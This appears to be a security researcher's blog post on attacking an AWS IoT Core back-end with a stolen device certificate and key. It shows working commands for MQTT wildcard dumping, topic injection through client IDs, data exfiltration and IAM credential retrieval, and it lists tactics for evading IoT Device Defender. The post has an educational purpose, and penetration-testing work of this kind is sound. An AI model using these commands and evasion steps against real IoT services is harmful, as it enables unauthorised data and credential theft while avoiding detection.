TL;DR
Disclaimer
The tools, tactics, techniques, and procedures described in this blog post were developed for educational purposes with the goal of securing product implementations. I do not endorse the use of these resources against real-world production environments without prior permission from the owner of the target instance(s). Additionally, the unauthorized use of these TTPs against real-world implementations may trigger detection/alert mechanisms in IoT Device Defender (or equivalent services), resulting in client key disablement/revocation and/or further repercussions (legal or otherwise).
Scenario
Hypothetical: during a security assessment of an IoT device, you've compromised the client certificate and private key that the device uses for mTLS connections to an AWS IoT Core back-end. Now what?
I recently spent some time exploring this exact scenario, and what follows is the culmination of my thoughts on the topic.
Overview - AWS IoT Core
This section consists of an abstract, overly-simplified summary of a typical AWS IoT Core setup from a client device perspective. If you're not interested or already know the basics, you can skip to the next section.
Client IoT devices are registered with the AWS IoT back-end service. Clients receive a key pair (a private key and a certificate containing a public key) that they use for mTLS authentication with the back-end (note that custom/layered authentication mechanisms such as username/password might also be required).
The devices primarily communicate with the server via MQTT* (UDP port 8883); clients "subscribe" to "topics" by opening a connection to the server and waiting for incoming messages that were "published" to those topics (for the web-oriented people: topics are basically analogous to URL paths). Clients can also publish messages - to induce on-demand messages from the server (similar to an HTTP GET request), or to modify some stateful data (like an HTTP PUT/POST/DELETE), or for other purposes. There is a list of AWS "reserved" topics; some subset of these are used in virtually all IoT Core implementations.
* Many of the MQTT-related concepts described in this post (e.g., topic injection) can be applied to MQTT services in general, not just AWS IoT Core.
Within IoT Core is the concept of a device "shadow" - this is some persistent data that might include the device configuration, status information (e.g., battery level), or any other arbitrary data. Shadows exist in two states at once - "reported" and "desired." The "reported" state is essentially the "last-known" state as reported by the client device, which might not always be connected to the internet. The "desired" state is the server's authoritative state; it might contain pending configuration changes or other data that was pushed to the server by a web dashboard or mobile app. If the "reported" state doesn't match the "desired" state, a "delta" message is published to the client device the each time it connects (until the client's reported state is synchronized).
There is also an HTTP REST API (TCP port 8443) that clients can interact with for shadow-related operations (again, with mTLS authentication).
Connection Requirements
Before interacting with the back-end, you need three key pieces of information*:
- Service endpoint (i.e., the hostname of the AWS server)
- Client (IoT device) mTLS certificate
- Client mTLS private key
${random_id}.iot.${region}.amazonaws.com
${random_id}-ats.iot.${region}.amazonaws.com
- Service endpoint: Dump traffic on a network interface between the device and the internet; you should see DNS queries for a domain name with one of the formats shown above.
- thingName: Try inspecting the client certificate metadata, or try using typical device identifiers like the serial number or MAC address (with and without octet separators - I'd try colons and hyphens).
Enumeration (Offline)
- Implementation-specific MQTT topics
- Partial authorization policy reconstruction (e.g., if you see code that publishes to a topic, you can infer that the policy allows the iot:Publish action for your device to that topic)
- Credential provider endpoint
- Aliases for IAM roles that can be assumed by the client device
- Layered authentication mechanisms (e.g., username/password)
- Shadow names
Enumeration (Online)
- # - subtree wildcard. This can be used after a topic prefix to subscribe to "all [topic] strings at and below its level in the topic hierarchy."
- + - single-level wildcard. Used to subscribe to "any [topic] string in the level that contains the character."
mosquitto_sub -h $AWS_HOST -p 8883 --cert $CLIENT_CERT --key $CLIENT_PRIVKEY -t '#'
java -jar aws-iot-recon.jar -a mqtt-dump -H $AWS_HOST -c $CLIENT_CERT -k $CLIENT_PRIVKEY
java -jar aws-iot-recon.jar -a mqtt-dump -H $AWS_HOST -c $CLIENT_CERT -k $CLIENT_PRIVKEY -T '$aws/things/+/shadow/update/accepted'
java -jar aws-iot-recon.jar -a get-device-shadow -H $AWS_HOST -c $CLIENT_CERT -k $CLIENT_PRIVKEY -t $THING_NAME
java -jar aws-iot-recon.jar -a get-device-shadow -H $AWS_HOST -c $CLIENT_CERT -k $CLIENT_PRIVKEY -t $THING_NAME -s shadowName
java -jar aws-iot-recon.jar -a list-named-shadows -H $AWS_HOST -c $CLIENT_CERT -k $CLIENT_PRIVKEY -t $THING_NAME
java -jar aws-iot-recon.jar -a iam-credentials -H $AWS_CRED_PROVIDER_HOST -c $CLIENT_CERT -k $CLIENT_PRIVKEY -t $THING_NAME -R $ROLE_ALIAS
${random_id}.credentials.iot.${region}.amazonaws.com
MQTT Topic Injection
{
"Effect": "Allow",
"Action": ["iot:Subscribe"],
"Resource": [
"arn:aws:iot:us-east-1:123456789012:topicfilter/my/${iot:ClientId}/topic"
]
}
java -jar aws-iot-recon.jar -a mqtt-dump -H $AWS_HOST -c $CLIENT_CERT -k $CLIENT_PRIVKEY -C '+' -T 'my/+/topic'
mosquitto_sub -h $AWS_HOST -p 8883 --cert $CLIENT_CERT --key $CLIENT_PRIVKEY -i '+' -t 'my/+/topic'
Data Exfiltration
java -jar aws-iot-recon.jar -a mqtt-data-exfil -H $AWS_HOST -c $CLIENT_CERT -k $CLIENT_PRIVKEY
MQTT Scripting
PUB <topic> <payload>
SUB <topic>
UNSUB <topic>
SLEEP <milliseconds>
# Comment
# Hex-encoded payload ("My vision is augmented")
PUB <topic> hex://4d7920766973696f6e206973206175676d656e746564
# Payload stored in the file /tmp/mqtt_payload.txt
PUB <topic> file:///tmp/mqtt_payload.txt
java -jar aws-iot-recon.jar -a mqtt-script -f $MQTT_SCRIPT_FILE -H $AWS_HOST -c $CLIENT_CERT -k $CLIENT_PRIVKEY
Attacking Other Targets
AWS IoT Device Defender
IoT Device Defender is a powerful service; for an overview of its capabilities, I recommend checking out Introduction to IoT Device Defender on AWS Skill Builder, which consists of a single ~20-minute video lecture. Long story short, defensive mechanisms can be triggered via scheduled audits and/or device behavior anomaly detection. Heuristics can be based on a multitude of device behaviors and metrics, including:
- Client ID collisions
- Multiple client devices using the same client certificate
- MQTT message send/receive frequency
- Message size
- Authorization errors
- Open ports (TCP/UDP)*
- Number of TCP connections*
- Source IP addresses
- Destination IP addresses*
- Outbound traffic volume*
* These are device-side metrics, which are self-reported by clients, and therefore only apply to post-exploitation activities on-device.
Defensive mechanisms can be implemented using AWS Lambda functions, and therefore may be comprised of any number of potential responsive actions. If I had to speculate, I'd guess that the vast majority of automated defense mechanisms don't do anything more than trigger some alerts and (in the worst case) automatically disable the offending client certificate(s).
Detecting AWS IoT Device Defender
grep -rl -e DeviceDefenderFeature -e 'AWS IOT DEVICE CLIENT FATAL ERROR'
"device-defender": {
"enabled": true,
"interval-in-seconds": 300
}
Evading AWS IoT Device Defender
Realistically, there's no way to guarantee that you won't trip a defensive mechanism if you stray from the standard behavior of your compromised device. This is especially true in a "black box" test scenario, where you don't have access to the underlying AWS policies and configurations. Even so, there are some precautions you can take to minimize your chance of being detected:
- Avoid client ID collisions by disconnecting the (real) compromised device before performing tests using its client ID. If you do accidentally trigger a client ID collision, you should receive an error with code 5134 (AWS_ERROR_MQTT_UNEXPECTED_HANGUP), but this error could also indicate a number of other things.
- Avoid client ID collisions by using a client ID that a real device would never have (e.g., a random string). However, this might trigger other defensive rules (e.g., certificate sharing or authorization failures).
- Avoid MQTT message size/rate heuristics by monitoring and emulating the traffic coming out of the real device. If you've achieved privileged execution on the device, you can exactly calculate safe upper-bound numbers via run-time instrumentation/debugging. If not, you can still make some educated guesses through a combination of reverse-engineering and analysis of out-bound TLS traffic to the AWS host.
- Avoid authorization errors by mapping out allowed action/topic pairs through static reverse engineering of client implementations (e.g., as explained above, if you see code that publishes to a topic, you can infer that the policy allows the iot:Publish action for your device to that topic).
- Avoid source IP address block-listing by using a VPN for any actions with a high detection potential (of course, many people would argue that you should be doing this either way).
- Prevent device-side metrics-based alerts by disabling metrics reporting in the AWS IoT Device Client configuration, or by killing/instrumenting the Device Client process on the compromised device (note that the latter is likely to disrupt other functionality).
- Acquire/compromise multiple client devices/keys as a contingency plan. Depending on how many keys you can acquire, it would probably be worth burning a few pairs to check for basic authorization policy gaps (e.g., cross-device shadow operations).
- Wait - (This one's a long shot) IoT Device Defender is a paid add-on service with a 1-month free trial. If your target is brand-new, and you've got time to burn, consider waiting until the product has been deployed for more than a month before trying anything risky.
Resources
Source code for the tool I described in this blog post can be found on my GitHub. Below is a list of resources that I found helpful during this adventure:
- AWS Skill Builder - Deep Dive into AWS IoT Authentication and Authorization
- AWS Skill Builder - Introduction to IoT Device Defender
- AWS IoT Core Developer Guide
- AWS IoT Device SDK for Java v2 API documentation
- AWS IoT Device SDK for Java v2 sample implementations
- AWS Security Blog - Eliminate the Need for Hardcoded AWS Credentials in Devices
No comments:
Post a Comment